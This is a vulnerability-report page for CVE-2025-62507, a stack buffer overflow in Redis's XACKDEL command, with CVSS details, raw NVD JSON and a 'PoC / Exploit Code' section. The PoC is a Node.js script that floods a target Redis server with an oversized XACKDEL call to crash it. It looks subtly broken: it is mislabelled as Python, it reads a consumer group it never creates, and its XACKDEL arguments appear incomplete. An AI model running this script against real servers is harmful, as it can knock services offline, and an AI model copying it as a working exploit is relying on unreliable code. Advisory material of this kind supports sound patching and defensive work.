Security Vulnerability Report
中文
CVE-2025-62507 CVSS 8.8 HIGH

CVE-2025-62507

Published: 2025-11-04 22:16:38
Last Modified: 2025-12-08 16:23:27

Description

Redis is an open source, in-memory database that persists on disk. In versions 8.2.0 and above, a user can run the XACKDEL command with multiple ID's and trigger a stack buffer overflow, which may potentially lead to remote code execution. This issue is fixed in version 8.2.3. To workaround this issue without patching the redis-server executable is to prevent users from executing XACKDEL operation. This can be done using ACL to restrict XACKDEL command.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:* - VULNERABLE
Redis >= 8.2.0, < 8.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62507 Redis XACKDEL Stack Buffer Overflow PoC // Target: Redis 8.2.0 - 8.2.2 // Note: This PoC demonstrates the vulnerability for educational purposes only const redis = require('ioredis'); async function exploit(target, port = 6379) { const client = new redis({ host: target, port: port, password: '' // Add password if needed }); try { // Create a stream with some messages const streamKey = 'poc_stream'; await client.del(streamKey); // Add messages to the stream const msgIds = []; for (let i = 0; i < 100; i++) { const msgId = await client.xadd(streamKey, '*', 'field', `value${i}`); msgIds.push(msgId); } // Claim messages to create pending entries await client.xreadgroup('mygroup', 'consumer1', '1', 'COUNT', '100', 'STREAMS', streamKey, '>'); console.log(`[*] Stream created with ${msgIds.length} messages`); console.log(`[*] Messages claimed and made pending`); // Trigger the vulnerability by sending XACKDEL with many IDs // This causes stack buffer overflow in Redis 8.2.0-8.2.2 const maliciousIds = Array(1000).fill(msgIds[0]); const xackdelCmd = ['XACKDEL', streamKey, 'mygroup', ...maliciousIds]; console.log(`[*] Sending malicious XACKDEL command with ${maliciousIds.length} IDs...`); try { // This should trigger the buffer overflow await client.call(...xackdelCmd); } catch (e) { if (e.message.includes('OOM') || e.message.includes('ERR')) { console.log(`[+] Vulnerability triggered - server response: ${e.message}`); } } // Check if server is still responsive try { await client.ping(); console.log(`[*] Server still responsive`); } catch (e) { console.log(`[+] Server crashed or unresponsive - vulnerability confirmed!`); } } catch (error) { console.error(`[-] Error: ${error.message}`); } finally { await client.quit(); } } // Usage: node cve-2025-62507-poc.js <target_ip> const target = process.argv[2] || '127.0.0.1'; exploit(target);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62507", "sourceIdentifier": "[email protected]", "published": "2025-11-04T22:16:38.330", "lastModified": "2025-12-08T16:23:27.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Redis is an open source, in-memory database that persists on disk. In versions 8.2.0 and above, a user can run the XACKDEL command with multiple ID's and trigger a stack buffer overflow, which may potentially lead to remote code execution. This issue is fixed in version 8.2.3. To workaround this issue without patching the redis-server executable is to prevent users from executing XACKDEL operation. This can be done using ACL to restrict XACKDEL command."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.2.0", "versionEndExcluding": "8.2.3", "matchCriteriaId": "9682570D-1383-47DD-808E-7D75B67BDE73"}]}]}], "references": [{"url": "https://github.com/redis/redis/commit/5f83972188f6e5b1d6f1940218c650a9cbdf7741", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/redis/redis/releases/tag/8.2.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/redis/redis/security/advisories/GHSA-jhjx-x4cf-4vm8", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}